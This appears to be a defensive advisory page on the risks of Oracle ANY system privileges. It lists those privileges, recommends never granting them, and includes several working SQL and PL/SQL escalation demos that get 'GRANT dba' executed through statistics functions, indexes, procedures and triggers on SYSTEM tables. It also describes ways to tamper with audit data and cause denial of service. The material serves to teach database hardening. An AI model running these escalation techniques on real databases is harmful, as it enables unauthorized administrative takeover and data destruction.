Oracle ANY Privilege Exploits
Versions All

Security Advisory
To lay all of the cards on the table there really is no justification, from a security standpoint, for granting ANY schema, ANY user, ANY privilege with the word ANY in it. If the security of your data is based solely upon the criterion being that "doing stuff needs to be easy" then I recommend you just unload all of your tables into flat files and post them on the internet. Doing that will save attackers a lot of needlessly wasted time. Think SYSDBA is required to do your work? Think again, Oracle is working toward the goal of deprecating it. You should be doing all of your backups as SYSBACKUP, all of your key management as SYSKM, all of your Data Guard replication management as SYSDG.

Thus, the following page is dedicated to code listings that demonstrate how easy it is to exploit an ANY privilege.

We will highlight privileges from the following listing as demos are written. But, don't assume that because a demo does not exist on this page it is harmless. Demos are written based on free time to write and test demos. We could easily write exploits for the majority of them if we had the time so if you want a personal challenge ... choose one we haven't written and email it to us. We will post it with your name.
ANY containing system privileges from version 19.3 SQL> SELECT name
  2  FROM system_privilege_map
  3  WHERE name LIKE '%ANY%'
  4* ORDER BY 1;

NAME
-----------------------------------
ADMINISTER ANY SQL TUNING SET
ALTER ANY ANALYTIC VIEW
ALTER ANY ASSEMBLY
ALTER ANY ATTRIBUTE DIMENSION
ALTER ANY CLUSTER
ALTER ANY CUBE
ALTER ANY CUBE BUILD PROCESS
ALTER ANY CUBE DIMENSION
ALTER ANY DIMENSION
ALTER ANY EDITION
ALTER ANY EVALUATION CONTEXT
ALTER ANY HIERARCHY
ALTER ANY INDEX
ALTER ANY INDEXTYPE
ALTER ANY LIBRARY
ALTER ANY MATERIALIZED VIEW
ALTER ANY MEASURE FOLDER
ALTER ANY MINING MODEL
ALTER ANY OPERATOR
ALTER ANY OUTLINE
ALTER ANY PROCEDURE
ALTER ANY ROLE
ALTER ANY RULE
ALTER ANY RULE SET
ALTER ANY SEQUENCE
ALTER ANY SQL PROFILE
ALTER ANY SQL TRANSLATION PROFILE
ALTER ANY TABLE
ALTER ANY TRIGGER
ALTER ANY TYPE

ANALYZE ANY
ANALYZE ANY DICTIONARY
AUDIT ANY
BACKUP ANY TABLE
COMMENT ANY MINING MODEL
COMMENT ANY TABLE
CREATE ANY ANALYTIC VIEW
CREATE ANY ASSEMBLY
CREATE ANY ATTRIBUTE DIMENSION
CREATE ANY CLUSTER
CREATE ANY CONTEXT
CREATE ANY CREDENTIAL
CREATE ANY CUBE
CREATE ANY CUBE BUILD PROCESS
CREATE ANY CUBE DIMENSION
CREATE ANY DIMENSION
CREATE ANY DIRECTORY
CREATE ANY EDITION
CREATE ANY EVALUATION CONTEXT
CREATE ANY HIERARCHY
CREATE ANY INDEX
CREATE ANY INDEXTYPE
CREATE ANY JOB
CREATE ANY LIBRARY
CREATE ANY MATERIALIZED VIEW
CREATE ANY MEASURE FOLDER
CREATE ANY MINING MODEL
CREATE ANY OPERATOR
CREATE ANY OUTLINE
CREATE ANY PROCEDURE
CREATE ANY RULE
CREATE ANY RULE SET
CREATE ANY SEQUENCE
CREATE ANY SQL PROFILE
CREATE ANY SQL TRANSLATION PROFILE
CREATE ANY SYNONYM
CREATE ANY TABLE
CREATE ANY TRIGGER

CREATE ANY TYPE
CREATE ANY VIEW
DEBUG ANY PROCEDURE
DEBUG CONNECT ANY
DELETE ANY CUBE DIMENSION
DELETE ANY MEASURE FOLDER
DELETE ANY TABLE
DEQUEUE ANY QUEUE

DROP ANY ANALYTIC VIEW
DROP ANY ASSEMBLY
DROP ANY ATTRIBUTE DIMENSION
DROP ANY CLUSTER
DROP ANY CONTEXT
DROP ANY CUBE
DROP ANY CUBE BUILD PROCESS
DROP ANY CUBE DIMENSION
DROP ANY DIMENSION
DROP ANY DIRECTORY
DROP ANY EDITION
DROP ANY EVALUATION CONTEXT
DROP ANY HIERARCHY
DROP ANY INDEX
DROP ANY INDEXTYPE
DROP ANY LIBRARY
DROP ANY MATERIALIZED VIEW
DROP ANY MEASURE FOLDER
DROP ANY MINING MODEL
DROP ANY OPERATOR
DROP ANY OUTLINE
DROP ANY PROCEDURE
DROP ANY ROLE
DROP ANY RULE
DROP ANY RULE SET
DROP ANY SEQUENCE
DROP ANY SQL PROFILE
DROP ANY SQL TRANSLATION PROFILE
DROP ANY SYNONYM
DROP ANY TABLE
DROP ANY TRIGGER
DROP ANY TYPE
DROP ANY VIEW

ENQUEUE ANY QUEUE
EXECUTE ANY ASSEMBLY
EXECUTE ANY CLASS
EXECUTE ANY EVALUATION CONTEXT
EXECUTE ANY INDEXTYPE
EXECUTE ANY LIBRARY
EXECUTE ANY OPERATOR
EXECUTE ANY PROCEDURE
EXECUTE ANY PROGRAM
EXECUTE ANY RULE
EXECUTE ANY RULE SET
EXECUTE ANY TYPE
FLASHBACK ANY TABLE
FORCE ANY TRANSACTION
GRANT ANY OBJECT PRIVILEGE
GRANT ANY PRIVILEGE
GRANT ANY ROLE
INHERIT ANY PRIVILEGES
INHERIT ANY REMOTE PRIVILEGES
INSERT ANY CUBE DIMENSION
INSERT ANY MEASURE FOLDER
INSERT ANY TABLE
LOCK ANY TABLE
MANAGE ANY FILE GROUP
MANAGE ANY QUEUE
MERGE ANY VIEW
READ ANY ANALYTIC VIEW CACHE
READ ANY FILE GROUP
READ ANY TABLE
REDEFINE ANY TABLE
SELECT ANY CUBE
SELECT ANY CUBE BUILD PROCESS
SELECT ANY CUBE DIMENSION
SELECT ANY DICTIONARY
SELECT ANY MEASURE FOLDER
SELECT ANY MINING MODEL
SELECT ANY SEQUENCE
SELECT ANY TABLE
SELECT ANY TRANSACTION
TRANSLATE ANY SQL
UNDER ANY TABLE
UNDER ANY TYPE
UNDER ANY VIEW
UPDATE ANY CUBE
UPDATE ANY CUBE BUILD PROCESS
UPDATE ANY CUBE DIMENSION
UPDATE ANY TABLE
USE ANY JOB RESOURCE
USE ANY SQL TRANSLATION PROFILE
WRITE ANY ANALYTIC VIEW CACHE

159 rows selected.
 
Recommended Security Rules

 NEVER
  • Never grant any ANY privilege to anyone
 WITH GREAT CARE
  • Monitor any ANY privileges granted by Oracle Corp. that you have not revoked.
 CAUTIONS
  • If anyone requests an ANY privilege be sure you understand specifically why it was requested before you say NO!
  • If you need help finding a substitute for them send us an email.
 
ANY System Privilege Exploits
ALTER ANY privileges

All of the Alter Any privileges has the potential to be destructively.

In the code sample at right an otherwise unprivileged user drops a critical column from an application table.

Hope there is a current backup of SCOTT and all the necessary redo logs because otherwise there is no way back.
A user with an ALTER ANY privilege can, literally, alter any object of that type. Consider the following SQL:

SQL> conn sys@pdbdev as sysdba
Connected.

SQL> GRANT alter any table TO uwclass;

SQL> SELECT granted_role FROM dba_role_privs WHERE grantee = 'UWCLASS';

no rows selected

SQL> SELECT privilege FROM dba_sys_privs WHERE grantee = 'UWCLASS';

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER ANY TABLE

SQL> conn scott/tiger@pdbdev

SQL> create table tabby$(
  2  object_id  NUMBER NOT NULL,
  3  tabby_name VARCHAR2(30) NOT NULL);

Table created.

SQL> INSERT INTO tabby$ (object_id, tabby_name) VALUES (1, 'ELGATO');

1 row created.

SQL> INSERT INTO tabby$ (object_id, tabby_name) VALUES (2, 'PUDDYTAT');

1 row created.

SQL> COMMIT;

Commit complete.


SQL> conn uwclass/uwclass@pdbdev;
Connected.

SQL> ALTER TABLE scott.tabby$ DROP COLUMN tabby_name;

Table altered.
ANALYZE ANY Privilege

This vulnerability was created when Oracle added Function Based Statistics gathering to DBMS_STATS
SELECT atp.table_name
FROM all_tab_privs atp, all_tables at
WHERE atp.table_name = at.table_name
AND at.owner = 'SYSTEM'
AND at.temporary = 'N'
AND atp.grantee = 'PUBLIC';

TABLE_NAME
-----------
HELP

CREATE OR REPLACE FUNCTION grant_dba(col_name IN VARCHAR2)
RETURN VARCHAR2 DETERMINISTIC
AUTHID current_user IS
 PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT dba TO scott';
  RETURN UPPER(col_name);
END grant_dba;
/

GRANT execute ON grant_dba TO system;

exec dbms_stats.gather_table_stats('SYSTEM', 'HELP', method_opt=>'for columns uwclass.grant_dba(info)) size auto');

set role DBA

TBD
BACKUP ANY TABLE Privilege If you need an explanation of how this privilege could be used to further an attack you should probably remove the bookmark to this website.
CREATE ANY DIRECTORY Privilege Directory objects create a path to the file system that can be used to read existing objects or write new ones. Granting this privilege to any user is granting them the ability to read files off the server in any directory for which the user "oracle" has read permission and to write to any directory for which the user "oracle" has write permission. And, with extensions such as XT_SHELL available from Github, the ability to execute commands and scripts in any directory for which the user "oracle" has execute permission. That's an incredibly large attack surface to put at risk.
CREATE ANY EDITION Privilege As the overwhelming majority of DBAs and developers worldwide, and essentially every security tool ever written is totally unaware of how a non-default edition can be used to hide objects from auditing the ability to create a rouge edition is critical vulnerability. Check the Exploit Demos Home Page from time-to-time as we have an Edition Based Redefinition exploit demo we will be writing in the near future.
CREATE ANY INDEX Privilege SELECT privilege
FROM user_sys_privs
UNION ALL
SELECT granted_role
FROM user_role_privs
ORDER BY 1;

PRIVILEGE
----------------------------
ADVISOR
BECOME USER
CREATE ANY INDEX
CREATE CLUSTER
CREATE DATABASE LINK
CREATE OPERATOR
CREATE PROCEDURE
CREATE ROLE
CREATE SEQUENCE
CREATE SESSION
CREATE SYNONYM
CREATE TABLE
CREATE TRIGGER
CREATE TYPE
CREATE VIEW

CREATE OR REPLACE FUNCTION grant_dba(col_name IN VARCHAR2)
RETURN VARCHAR2 DETERMINISTIC AUTHID CURRENT_USER IS
 PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE uwclass.grant_dba;
  RETURN UPPER(col_name);
END grant_dba;
/

GRANT execute ON grant_dba TO system;

CREATE INDEX system.ix_ol$_version
ON system.ol$(scott.grant_dba(version));

INSERT INTO system.ol$
(category)
VALUES
('ZZYZX');

-- set role dba

SELECT granted_role
FROM user_role_privs
ORDER BY 1;
CREATE ANY PROCEDURE and
EXECUTE ANY PROCEDURE Privileges
http://docplayer.net/49802620-Simple-technics-of-privilege-escalation-document-describes-very-basic-technics-of-escalating-privileges-in-oracle-database.html

SELECT privilege
FROM user_sys_privs
UNION ALL
SELECT granted_role
FROM user_role_privs
ORDER BY 1;

PRIVILEGE
----------------------------
ADVISOR
BECOME USER
CREATE ANY PROCEDURE
CREATE CLUSTER
CREATE DATABASE LINK
CREATE OPERATOR
CREATE PROCEDURE
CREATE ROLE
CREATE SEQUENCE
CREATE SESSION
CREATE SYNONYM
CREATE TABLE
CREATE TRIGGER
CREATE TYPE
CREATE VIEW
EXECUTE ANY PROCEDURE

CREATE OR REPLACE PROCEDURE system.grant_dba AUTHID DEFINER IS
BEGIN
  EXECUTE IMMEDIATE 'GRANT dba TO scott';
END grant_dba;
/

exec system.grant_dba;

-- set role dba

SELECT granted_role
FROM user_role_privs
ORDER BY 1;
CREATE ANY SQL TRANSLATION PROFILE Privilege SQL Translations are a fantastic capability now present in the Oracle Database: They are also a massive vulnerability that can be easily exploited by an attacker with the right credentials and these ANY privs are a lot of what is required. Check out our DBMS_SQL_TRANSLATOR page for vulnerability demonstrations
CREATE ANY TABLE Privilege This privilege opens up a massive number of vulnerabilities but we will site only three of them.
  1. An external table can be created that allows reading the alert log and redo logs
  2. An external table can be created that write privileged data to a file system external to the database's security controls
  3. A private temporary table can be used to create a Denial-of-Service attack by consuming memory
CREATE ANY TRIGGER Privilege SELECT privilege
FROM user_sys_privs
UNION ALL
SELECT granted_role
FROM user_role_privs
ORDER BY 1;

PRIVILEGE
----------------------------
ADVISOR
BECOME USER
CREATE ANY TRIGGER
CREATE CLUSTER
CREATE DATABASE LINK
CREATE OPERATOR
CREATE PROCEDURE
CREATE ROLE
CREATE SEQUENCE
CREATE SESSION
CREATE SYNONYM
CREATE TABLE
CREATE TRIGGER
CREATE TYPE
CREATE VIEW

CREATE OR REPLACE PROCEDURE uwclass.grant_dba AUTHID DEFINER IS
BEGIN
  execute immediate 'GRANT dba TO scott';
END grant_dba;
/

SELECT atp.privilege, at.table_name
FROM all_tables at, all_tab_privs atp
WHERE atp.table_name = at.table_name
AND at.owner = 'SYSTEM'
AND atp.grantee = 'PUBLIC'
AND atp.privilege = 'INSERT'
ORDER BY 1;

PRIVILEGE  TABLE_NAME
---------- -----------
INSERT     OL$
INSERT     OL$HINTS
INSERT     OL$NODES

GRANT execute ON grant_dba TO system;

CREATE OR REPLACE TRIGGER system.bi_ol$
BEFORE INSERT ON system.ol$
FOR EACH ROW
BEGIN
  uwclass.grant_dba;
END bi_ol$;
/

INSERT INTO system.ol$
(category)
VALUES
('ZZYZX');

-- set role dba

SELECT granted_role
FROM user_role_privs
ORDER BY 1;
DELETE ANY Privileges The privilege to DELETE ANY of any resource is by definition dangerous. No demo need be written.
DEQUEUE ANY QUEUE Privilege If a message is DEQUEUED by a rouge process it will not, by definition, be read by the process it was intended for. Assume for example purposes Advanced Queuing is being used to send prescription orders from ICU to the hospital pharmacy. If a rouge process removes the message from the queue the prescription will not be filled and the medication will not get to the patient. Hope that puts and appropriate life-or-death note on the importance of this entire topic.
DROP ANY Privileges The privilege to DROP ANY of any resource is by definition dangerous. No demo need be written.
FLASHBACK ANY TABLE Privilege Assume, for purposes of example, that important transactions are being written to a table ... let's make it an audit table. Let's further assume someone wishes to cover up activities that were not supposed to have taken place but that were captured in the audit.

Further, let's assume that the table is flashed back to before the activities took place.

That should be all the information you require to understand how this privilege could be dangerous.

Before you allow anyone to have this privilege, either explicitly granted or granted in a role, consider why they "need" it any how else it might be used. There are plenty of ways to flashback a table without this privilege.
GRANT ANY OBJECT Privilege The privilege to grant any other privilege is by definition dangerous. No demo need be written but to better explain how this privilege can easily be exploited consider the case where someone is granted UPDATE on a table. How many milliseconds will it now take to corrupt the data in that table?
GRANT ANY PRIVILEGE Privilege The privilege to grant any other privilege is by definition dangerous. No demo need be written.
GRANT ANY ROLE Privilege The privilege to grant DBA is by definition dangerous. No demo need be written.
LOCK ANY TABLE Privilege Preventing Denial of Service attacks is an essential part of securing a database. If any user can lock ANY table that means they can lock EVERY table. Give them the ability to code an anonymous block with a LOOP and Denial of Service can create a total application outage in seconds.
READ ANY TABLE Privilege See SELECT ANY TABLE Below.
SELECT ANY DICTIONARY Privilege Anyone that can select any and all rows from any and all data dictionary tables and views has the ability to identify all open user accounts, which accounts have tables and how many rows are in them, which tables have columns with names like CREDIT_CARD_NO or SOCIAL_SECURITY_ID or GENDER. Just the thing an attacker needs to help refine their attack so that they don't waste time unnecessarily poking around the low value schemas and objects.

Want to make X$ and V$ objects available to a user ... this is the privilege to grant. Want to bypass Transparent Data Encryption? This is one privilege that makes that possible.
SELECT ANY TABLE Privilege See SELECT ANY DICTIONARY Above ... but instead of reading metadata from the data dictionary the attacker can access the data itself.
TRANSLATE ANY SQL Privilege See CREATE ANY SQL TRANSLATION PROFILE Above.
UPDATE ANY TABLE Privilege Consider a user that can update any row in any application table. Let's change everybody's birth date to March 15, 2020 and see what happens. If that sounds like a harmless April Fool's Day prank to you please push yourself back from your keyboard keeping your hands in plain sight at all times. Security will escort you to the door. No exit interview will be required.
 
Related Queries
Identify which roles have been granted an ANY privilege conn / as sysdba

set define on

SELECT LPAD(' ', 2*level) || granted_role "USER PRIVS"
FROM (
  SELECT NULL grantee, username AS GRANTED_ROLE
  FROM dba_users
  WHERE username LIKE UPPER('%&uname%')
  UNION
  SELECT grantee, granted_role
  FROM dba_role_privs
  UNION
  SELECT grantee, privilege
  FROM dba_sys_privs)
WHERE granted_role LIKE '%ANY%'
START WITH grantee IS NULL
CONNECT BY grantee = prior granted_role;

Related Topics
Object Privileges
System Privileges